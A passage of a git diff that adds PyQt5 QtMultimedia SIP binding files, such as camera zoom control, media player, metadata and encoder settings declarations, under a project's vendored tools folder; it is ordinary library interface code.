isViewfinderParameterSupported(QCameraViewfinderSettingsControl::ViewfinderParameter parameter) const = 0; + virtual QVariant viewfinderParameter(QCameraViewfinderSettingsControl::ViewfinderParameter parameter) const = 0; + virtual void setViewfinderParameter(QCameraViewfinderSettingsControl::ViewfinderParameter parameter, const QVariant &value) = 0; + +protected: + explicit QCameraViewfinderSettingsControl(QObject *parent /TransferThis/ = 0); +}; + +class QCameraViewfinderSettingsControl2 : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraViewfinderSettingsControl2(); + virtual QList supportedViewfinderSettings() const = 0; + virtual QCameraViewfinderSettings viewfinderSettings() const = 0; + virtual void setViewfinderSettings(const QCameraViewfinderSettings &settings) = 0; + +protected: + explicit QCameraViewfinderSettingsControl2(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerazoomcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerazoomcontrol.sip new file mode 100644 index 00000000..3f373a5f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcamerazoomcontrol.sip @@ -0,0 +1,49 @@ +// qcamerazoomcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraZoomControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCameraZoomControl(); + virtual qreal maximumOpticalZoom() const = 0; + virtual qreal maximumDigitalZoom() const = 0; + virtual qreal requestedOpticalZoom() const = 0; + virtual qreal requestedDigitalZoom() const = 0; + virtual qreal currentOpticalZoom() const = 0; + virtual qreal currentDigitalZoom() const = 0; + virtual void zoomTo(qreal optical, qreal digital) = 0; + +signals: + void maximumOpticalZoomChanged(qreal); + void maximumDigitalZoomChanged(qreal); + void requestedOpticalZoomChanged(qreal opticalZoom); + void requestedDigitalZoomChanged(qreal digitalZoom); + void currentOpticalZoomChanged(qreal opticalZoom); + void currentDigitalZoomChanged(qreal digitalZoom); + +protected: + explicit QCameraZoomControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcustomaudiorolecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcustomaudiorolecontrol.sip new file mode 100644 index 00000000..730fceb7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qcustomaudiorolecontrol.sip @@ -0,0 +1,44 @@ +// qcustomaudiorolecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_11_0 -) + +class QCustomAudioRoleControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QCustomAudioRoleControl(); + virtual QString customAudioRole() const = 0; + virtual void setCustomAudioRole(const QString &role) = 0; + virtual QStringList supportedCustomAudioRoles() const = 0; + +signals: + void customAudioRoleChanged(const QString &role); + +protected: + explicit QCustomAudioRoleControl(QObject *parent /TransferThis/ = 0); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qimageencodercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qimageencodercontrol.sip new file mode 100644 index 00000000..3db9f1c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qimageencodercontrol.sip @@ -0,0 +1,39 @@ +// qimageencodercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QImageEncoderControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QImageEncoderControl(); + virtual QStringList supportedImageCodecs() const = 0; + virtual QString imageCodecDescription(const QString &codec) const = 0; + virtual QList supportedResolutions(const QImageEncoderSettings &settings, bool *continuous = 0) const = 0; + virtual QImageEncoderSettings imageSettings() const = 0; + virtual void setImageSettings(const QImageEncoderSettings &settings) = 0; + +protected: + explicit QImageEncoderControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaaudioprobecontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaaudioprobecontrol.sip new file mode 100644 index 00000000..f0729299 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaaudioprobecontrol.sip @@ -0,0 +1,38 @@ +// qmediaaudioprobecontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaAudioProbeControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaAudioProbeControl(); + +signals: + void audioBufferProbed(const QAudioBuffer &buffer); + void flush(); + +protected: + explicit QMediaAudioProbeControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaavailabilitycontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaavailabilitycontrol.sip new file mode 100644 index 00000000..4bd437e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaavailabilitycontrol.sip @@ -0,0 +1,38 @@ +// qmediaavailabilitycontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaAvailabilityControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaAvailabilityControl(); + virtual QMultimedia::AvailabilityStatus availability() const = 0; + +signals: + void availabilityChanged(QMultimedia::AvailabilityStatus availability); + +protected: + explicit QMediaAvailabilityControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediabindableinterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediabindableinterface.sip new file mode 100644 index 00000000..6a64bab4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediabindableinterface.sip @@ -0,0 +1,35 @@ +// qmediabindableinterface.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaBindableInterface(); + virtual QMediaObject *mediaObject() const = 0; + +protected: + virtual bool setMediaObject(QMediaObject *object) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontainercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontainercontrol.sip new file mode 100644 index 00000000..c85f6642 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontainercontrol.sip @@ -0,0 +1,38 @@ +// qmediacontainercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaContainerControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaContainerControl(); + virtual QStringList supportedContainers() const = 0; + virtual QString containerFormat() const = 0; + virtual void setContainerFormat(const QString &format) = 0; + virtual QString containerDescription(const QString &formatMimeType) const = 0; + +protected: + explicit QMediaContainerControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontent.sip new file mode 100644 index 00000000..93e3cbe2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontent.sip @@ -0,0 +1,49 @@ +// qmediacontent.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaContent +{ +%TypeHeaderCode +#include +%End + +public: + QMediaContent(); + QMediaContent(const QUrl &contentUrl); + QMediaContent(const QNetworkRequest &contentRequest); + QMediaContent(const QMediaResource &contentResource); + QMediaContent(const QMediaResourceList &resources); + QMediaContent(const QMediaContent &other); + QMediaContent(QMediaPlaylist *playlist, const QUrl &contentUrl = QUrl()); + ~QMediaContent(); + bool operator==(const QMediaContent &other) const; + bool operator!=(const QMediaContent &other) const; + bool isNull() const; + QUrl canonicalUrl() const; + QNetworkRequest canonicalRequest() const; + QMediaResource canonicalResource() const; + QMediaResourceList resources() const; + QMediaPlaylist *playlist() const; +%If (Qt_5_14_0 -) + QNetworkRequest request() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontrol.sip new file mode 100644 index 00000000..5df2e234 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediacontrol.sip @@ -0,0 +1,39 @@ +// qmediacontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaControl : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaControl(); + +protected: +%If (Qt_5_6_1 -) + explicit QMediaControl(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QMediaControl(QObject *parent /TransferThis/ = 0); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaencodersettings.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaencodersettings.sip new file mode 100644 index 00000000..a72ede23 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaencodersettings.sip @@ -0,0 +1,110 @@ +// qmediaencodersettings.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioEncoderSettings +{ +%TypeHeaderCode +#include +%End + +public: + QAudioEncoderSettings(); + QAudioEncoderSettings(const QAudioEncoderSettings &other); + ~QAudioEncoderSettings(); + bool operator==(const QAudioEncoderSettings &other) const; + bool operator!=(const QAudioEncoderSettings &other) const; + bool isNull() const; + QMultimedia::EncodingMode encodingMode() const; + void setEncodingMode(QMultimedia::EncodingMode); + QString codec() const; + void setCodec(const QString &codec); + int bitRate() const; + void setBitRate(int bitrate); + int channelCount() const; + void setChannelCount(int channels); + int sampleRate() const; + void setSampleRate(int rate); + QMultimedia::EncodingQuality quality() const; + void setQuality(QMultimedia::EncodingQuality quality); + QVariant encodingOption(const QString &option) const; + QVariantMap encodingOptions() const; + void setEncodingOption(const QString &option, const QVariant &value); + void setEncodingOptions(const QVariantMap &options); +}; + +class QVideoEncoderSettings +{ +%TypeHeaderCode +#include +%End + +public: + QVideoEncoderSettings(); + QVideoEncoderSettings(const QVideoEncoderSettings &other); + ~QVideoEncoderSettings(); + bool operator==(const QVideoEncoderSettings &other) const; + bool operator!=(const QVideoEncoderSettings &other) const; + bool isNull() const; + QMultimedia::EncodingMode encodingMode() const; + void setEncodingMode(QMultimedia::EncodingMode); + QString codec() const; + void setCodec(const QString &); + QSize resolution() const; + void setResolution(const QSize &); + void setResolution(int width, int height); + qreal frameRate() const; + void setFrameRate(qreal rate); + int bitRate() const; + void setBitRate(int bitrate); + QMultimedia::EncodingQuality quality() const; + void setQuality(QMultimedia::EncodingQuality quality); + QVariant encodingOption(const QString &option) const; + QVariantMap encodingOptions() const; + void setEncodingOption(const QString &option, const QVariant &value); + void setEncodingOptions(const QVariantMap &options); +}; + +class QImageEncoderSettings +{ +%TypeHeaderCode +#include +%End + +public: + QImageEncoderSettings(); + QImageEncoderSettings(const QImageEncoderSettings &other); + ~QImageEncoderSettings(); + bool operator==(const QImageEncoderSettings &other) const; + bool operator!=(const QImageEncoderSettings &other) const; + bool isNull() const; + QString codec() const; + void setCodec(const QString &); + QSize resolution() const; + void setResolution(const QSize &); + void setResolution(int width, int height); + QMultimedia::EncodingQuality quality() const; + void setQuality(QMultimedia::EncodingQuality quality); + QVariant encodingOption(const QString &option) const; + QVariantMap encodingOptions() const; + void setEncodingOption(const QString &option, const QVariant &value); + void setEncodingOptions(const QVariantMap &options); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediagaplessplaybackcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediagaplessplaybackcontrol.sip new file mode 100644 index 00000000..e7b6b9f6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediagaplessplaybackcontrol.sip @@ -0,0 +1,44 @@ +// qmediagaplessplaybackcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaGaplessPlaybackControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaGaplessPlaybackControl(); + virtual QMediaContent nextMedia() const = 0; + virtual void setNextMedia(const QMediaContent &media) = 0; + virtual bool isCrossfadeSupported() const = 0; + virtual qreal crossfadeTime() const = 0; + virtual void setCrossfadeTime(qreal crossfadeTime) = 0; + +signals: + void crossfadeTimeChanged(qreal crossfadeTime); + void nextMediaChanged(const QMediaContent &media); + void advancedToNextMedia(); + +protected: + explicit QMediaGaplessPlaybackControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediametadata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediametadata.sip new file mode 100644 index 00000000..9228537f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediametadata.sip @@ -0,0 +1,120 @@ +// qmediametadata.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QMediaMetaData +{ +%TypeHeaderCode +#include +%End + + const QString Title; + const QString SubTitle; + const QString Author; + const QString Comment; + const QString Description; + const QString Category; + const QString Genre; + const QString Year; + const QString Date; + const QString UserRating; + const QString Keywords; + const QString Language; + const QString Publisher; + const QString Copyright; + const QString ParentalRating; + const QString RatingOrganization; + const QString Size; + const QString MediaType; + const QString Duration; + const QString AudioBitRate; + const QString AudioCodec; + const QString AverageLevel; + const QString ChannelCount; + const QString PeakValue; + const QString SampleRate; + const QString AlbumTitle; + const QString AlbumArtist; + const QString ContributingArtist; + const QString Composer; + const QString Conductor; + const QString Lyrics; + const QString Mood; + const QString TrackNumber; + const QString TrackCount; + const QString CoverArtUrlSmall; + const QString CoverArtUrlLarge; + const QString Resolution; + const QString PixelAspectRatio; + const QString VideoFrameRate; + const QString VideoBitRate; + const QString VideoCodec; + const QString PosterUrl; + const QString ChapterNumber; + const QString Director; + const QString LeadPerformer; + const QString Writer; + const QString CameraManufacturer; + const QString CameraModel; + const QString Event; + const QString Subject; + const QString Orientation; + const QString ExposureTime; + const QString FNumber; + const QString ExposureProgram; + const QString ISOSpeedRatings; + const QString ExposureBiasValue; + const QString DateTimeOriginal; + const QString DateTimeDigitized; + const QString SubjectDistance; + const QString MeteringMode; + const QString LightSource; + const QString Flash; + const QString FocalLength; + const QString ExposureMode; + const QString WhiteBalance; + const QString DigitalZoomRatio; + const QString FocalLengthIn35mmFilm; + const QString SceneCaptureType; + const QString GainControl; + const QString Contrast; + const QString Saturation; + const QString Sharpness; + const QString DeviceSettingDescription; + const QString GPSLatitude; + const QString GPSLongitude; + const QString GPSAltitude; + const QString GPSTimeStamp; + const QString GPSSatellites; + const QString GPSStatus; + const QString GPSDOP; + const QString GPSSpeed; + const QString GPSTrack; + const QString GPSTrackRef; + const QString GPSImgDirection; + const QString GPSImgDirectionRef; + const QString GPSMapDatum; + const QString GPSProcessingMethod; + const QString GPSAreaInformation; + const QString PosterImage; + const QString CoverArtImage; + const QString ThumbnailImage; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmedianetworkaccesscontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmedianetworkaccesscontrol.sip new file mode 100644 index 00000000..2d045f2e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmedianetworkaccesscontrol.sip @@ -0,0 +1,39 @@ +// qmedianetworkaccesscontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaNetworkAccessControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaNetworkAccessControl(); + virtual void setConfigurations(const QList &configuration) = 0; + virtual QNetworkConfiguration currentConfiguration() const = 0; + +signals: + void configurationChanged(const QNetworkConfiguration &configuration); + +protected: + explicit QMediaNetworkAccessControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaobject.sip new file mode 100644 index 00000000..590edb7d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaobject.sip @@ -0,0 +1,54 @@ +// qmediaobject.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMediaObject : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QMediaObject(); + virtual bool isAvailable() const; + virtual QMultimedia::AvailabilityStatus availability() const; + virtual QMediaService *service() const; + int notifyInterval() const; + void setNotifyInterval(int milliSeconds); + virtual bool bind(QObject *); + virtual void unbind(QObject *); + bool isMetaDataAvailable() const; + QVariant metaData(const QString &key) const; + QStringList availableMetaData() const; + +signals: + void notifyIntervalChanged(int milliSeconds); + void metaDataAvailableChanged(bool available); + void metaDataChanged(); + void metaDataChanged(const QString &key, const QVariant &value); + void availabilityChanged(QMultimedia::AvailabilityStatus availability /Constrained/); + void availabilityChanged(bool available); + +protected: + QMediaObject(QObject *parent /TransferThis/, QMediaService *service); + void addPropertyWatch(const QByteArray &name); + void removePropertyWatch(const QByteArray &name); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayer.sip new file mode 100644 index 00000000..94e2290d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qmediaplayer.sip @@ -0,0 +1,164 @@ +// qmediaplayer.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsVideoItem /External/; +class QVideoWidget /External/; + +class QMediaPlayer : QMediaObject +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + StoppedState, + PlayingState, + PausedState, + }; + + enum MediaStatus + { + UnknownMediaStatus, + NoMedia, + LoadingMedia, + LoadedMedia, + StalledMedia, + BufferingMedia, + BufferedMedia, + EndOfMedia, + InvalidMedia, + }; + + enum Flag + { + LowLatency, + StreamPlayback, + VideoSurface, + }; + + typedef QFlags Flags; + + enum Error + { + NoError, + ResourceError, + FormatError, + NetworkError, + AccessDeniedError, + ServiceMissingError, + }; + + QMediaPlayer(QObject *parent /TransferThis/ = 0, QMediaPlayer::Flags flags = QMediaPlayer::Flags()); + virtual ~QMediaPlayer(); + static QMultimedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList &codecs = QStringList(), QMediaPlayer::Flags flags = QMediaPlayer::Flags()); + static QStringList supportedMimeTypes(QMediaPlayer::Flags flags = QMediaPlayer::Flags()); + void setVideoOutput(QVideoWidget *); + void setVideoOutput(QGraphicsVideoItem *); + void setVideoOutput(QAbstractVideoSurface *surface); +%If (Qt_5_15_0 -) + void setVideoOutput(const QVector &surfaces); +%End + QMediaContent media() const; + const QIODevice *mediaStream() const; + QMediaPlaylist *playlist() const; + QMediaContent currentMedia() const; + QMediaPlayer::State state() const; + QMediaPlayer::MediaStatus mediaStatus() const; + qint64 duration() const; + qint64 position() const; + int volume() const; + bool isMuted() const; + bool isAudioAvailable() const; + bool isVideoAvailable() const; + int bufferStatus() const; + bool isSeekable() const; + qreal playbackRate() const; + QMediaPlayer::Error error() const; + QString errorString() const; + QNetworkConfiguration currentNetworkConfiguration() const; + virtual QMultimedia::AvailabilityStatus availability() const; + +public slots: + void play(); + void pause(); + void stop(); + void setPosition(qint64 position); + void setVolume(int volume); + void setMuted(bool muted); + void setPlaybackRate(qreal rate); + void setMedia(const QMediaContent &media, QIODevice *stream = 0); + void setPlaylist(QMediaPlaylist *playlist); + void setNetworkConfigurations(const QList &configurations); + +signals: + void mediaChanged(const QMediaContent &media); + void currentMediaChanged(const QMediaContent &media); + void stateChanged(QMediaPlayer::State newState); + void 